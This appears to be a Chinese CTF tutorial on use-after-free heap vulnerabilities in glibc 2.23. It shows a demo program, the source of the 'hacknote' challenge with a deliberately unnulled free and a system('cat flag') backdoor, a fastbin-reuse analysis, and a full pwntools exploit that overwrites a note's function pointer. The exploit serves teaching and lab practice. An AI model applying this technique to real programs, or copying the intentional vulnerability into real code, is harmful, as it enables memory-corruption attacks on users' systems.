前言
参考:
https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/use-after-free/
https://www.freebuf.com/articles/system/289270.html
简称为UAF漏洞,顾名思义就是指当申请的chunk被释放后还可以被使用
测试 glibc 版本为 2.23,采用 ubuntu16.04
原理
当一个内存块被释放之后再次被使用,有以下几种情况:
- 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
- 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
- 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。
一般所指的 Use After Free 漏洞主要是后两种
UAF 漏洞大部分都出现在使用一个指针 P 去申请一个指定大小的 chunk,而当 free 指针 P 以后指针 P 并没有被置空(指向NULL),那么即使释放了这块内存,但是依旧可以对这块内存进行操作
测试代码:(glibc2.27以上被修了)
#include <stdio.h>
#include <stdlib.h>
typedef struct name {
char *myname;
void (*func)(char *str);
} NAME;
void myprint(char *str) { printf("%s\n", str); }
void printmyname() { printf("call print my name\n"); }
int main() {
NAME *a;
a = (NAME *)malloc(sizeof(struct name));
a->func = myprint;
a->myname = "I can also use it";
a->func("this is my function");
// free without modify
free(a);
a->func("I can also use it");
// free with modify
a->func = printmyname;
a->func("this is my function");
// set NULL
a = NULL;
printf("this pogram will crash...\n");
a->func("can not be printed...");
}
审计一下代码,可以看到首先定义了数据结构和两个函数
定义了指针 a 以后,为指针 a 申请空间,并且将 a->func 指针指到 myprint 函数,在 free 掉 a 以后又进行了继续调用,然后将 a 置空再次调用 a 的函数
编译并运行
可以看到虽然我们 free 掉 a 指针,但是 a 指向的函数 myprint 依旧可以被调用
并且可以被修改为调用 printmyname,直到 a 被置为空以后才发生了 Segmention fault
例题
代审一手
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
struct note {
void (*printnote)();
char *content;
};
struct note *notelist[5];
int count = 0;
void print_note_content(struct note *this) { puts(this->content); }
void add_note() {
int i;
char buf[8];
int size;
if (count > 5) {
puts("Full");
return;
}
for (i = 0; i < 5; i++) {
if (!notelist[i]) {
notelist[i] = (struct note *)malloc(sizeof(struct note));
if (!notelist[i]) {
puts("Alloca Error");
exit(-1);
}
notelist[i]->printnote = print_note_content;
printf("Note size :");
read(0, buf, 8);
size = atoi(buf);
notelist[i]->content = (char *)malloc(size);
if (!notelist[i]->content) {
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, notelist[i]->content, size);
puts("Success !");
count++;
break;
}
}
}
void del_note() {
char buf[4];
int idx;
printf("Index :");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= count) {
puts("Out of bound!");
_exit(0);
}
if (notelist[idx]) {
free(notelist[idx]->content);
free(notelist[idx]);
puts("Success");
}
}
void print_note() {
char buf[4];
int idx;
printf("Index :");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= count) {
puts("Out of bound!");
_exit(0);
}
if (notelist[idx]) {
notelist[idx]->printnote(notelist[idx]);
}
}
void magic() { system("cat flag"); }
void menu() {
puts("----------------------");
puts(" HackNote ");
puts("----------------------");
puts(" 1. Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");
puts("----------------------");
printf("Your choice :");
};
int main() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
char buf[4];
while (1) {
menu();
read(0, buf, 4);
switch (atoi(buf)) {
case 1:
add_note();
break;
case 2:
del_note();
break;
case 3:
print_note();
break;
case 4:
exit(0);
break;
default:
puts("Invalid choice");
break;
}
}
return 0;
}
先看数据结构:
struct note {
void (*printnote)();
char *content;
};
struct note *notelist[5];
int count = 0;
void print_note_content(struct note *this) { puts(this->content); }
定义了一个数据结构 note,包含一个函数指针和一个字符串指针,这里是32位程序,每个指针占4个字节,总共8字节
定义了一个 note 类型的数组,而 count 是后面用来向数组中增加 note 的时候计数的
定义了一个函数,用来输出 note 中的 content
然后看第一个功能点:
add_note
void add_note() {
int i;
char buf[8];
int size;
if (count > 5) {
puts("Full");
return;
}
for (i = 0; i < 5; i++) {
if (!notelist[i]) {
notelist[i] = (struct note *)malloc(sizeof(struct note));
if (!notelist[i]) {
puts("Alloca Error");
exit(-1);
}
notelist[i]->printnote = print_note_content;
printf("Note size :");
read(0, buf, 8);
size = atoi(buf);
notelist[i]->content = (char *)malloc(size);
if (!notelist[i]->content) {
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, notelist[i]->content, size);
puts("Success !");
count++;
break;
}
}
}
首先 malloc(sizeof(struct note))
申请内存,内存大小为 note 的大小(32位程序下是8字节),然后内存的地址就存放在 notelist 数组中,并且将函数指针指向 print_note_content
然后 malloc(size)
根据输入的 size 来申请内存空间用来存放 content,大小用户自定义 buf 且无限制
+-----------------+
| printnote |
+-----------------+
| content | size
+-----------------+------------------->+----------------+
| real |
| content |
| |
+----------------+
del_note
第二个功能点:
void del_note() {
char buf[4];
int idx;
printf("Index :");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= count) {
puts("Out of bound!");
_exit(0);
}
if (notelist[idx]) {
free(notelist[idx]->content);
free(notelist[idx]);
puts("Success");
}
}
删除指定下标的 note 和 content,注意这里使用了 free,但是没有置空指针,所以存在 UAF 漏洞
print_note
第三个功能点:
void print_note() {
char buf[4];
int idx;
printf("Index :");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= count) {
puts("Out of bound!");
_exit(0);
}
if (notelist[idx]) {
notelist[idx]->printnote(notelist[idx]);
}
}
输出指定的下标
后门:
void magic() { system("cat flag"); }
地址在 0x08048986
利用分析
总结现有的信息:
存在一个后门函数,我们自己申请的堆内存中存在一个函数指针notelist[i]->printnote
,这个函数指针可以被print_note
调用
那么思路就是覆盖掉某个 note 的 printnote 指针来调用后门函数,由于程序中只有唯一的地方对 printnote 进行赋值。所以我们必须利用写 real content 的时候来进行覆盖
前面说过 note 总共8个字节,当调用malloc(sizeof(struct note))
时,实际分配的chunk大小会包含元数据并按对齐规则调整,也就是说用户请求8字节,加上8字节元数据后总 chunk 大小为16字节,属于 fastbin 的范围(32位下管理 16-80 字节的chunk)
思路如下:
- 申请 note0,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)
- 申请 note1,real content size 为 16(大小与 note 大小所在的 bin 不一样即可)
- 释放 note0
- 释放 note1
- 此时,大小为 16 的 fast bin chunk 中链表为
note1->note0
- 申请 note2,并且设置 real content 的大小为 8,那么根据堆的分配规则,note2 其实会分配 note1 对应的内存块(因为我们先释放的是 note0 再释放的 note1,那么 note1 就是链表的尾部,fast bin 是先进后出的,直接对链表尾进行操作)
- 所以 real content 对应的 chunk 其实是 note0
- 如果我们这时候向 note2 real content 的 chunk 部分写入 magic 的地址,那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0 的时候,程序就会调用 magic 函数
exp:
# -*- coding: utf-8 -*-
from pwn import *
r = process('./hacknote')
def addnote(size, content):
r.recvuntil(b":")
r.sendline(b"1")
r.recvuntil(b":")
r.sendline(str(size).encode())
r.recvuntil(b":")
r.sendline(content)
def delnote(idx):
r.recvuntil(b":")
r.sendline(b"2")
r.recvuntil(b":")
r.sendline(str(idx).encode())
def printnote(idx):
r.recvuntil(b":")
r.sendline(b"3")
r.recvuntil(b":")
r.sendline(str(idx).encode())
#gdb.attach(r)
magic = 0x08048986
addnote(16, b"aaaa") # add note 0
addnote(16, b"ddaa") # add note 1
delnote(0) # delete note 0
delnote(1) # delete note 1
addnote(8, p32(magic)) # add note 2
printnote(0) # print note 0
r.interactive()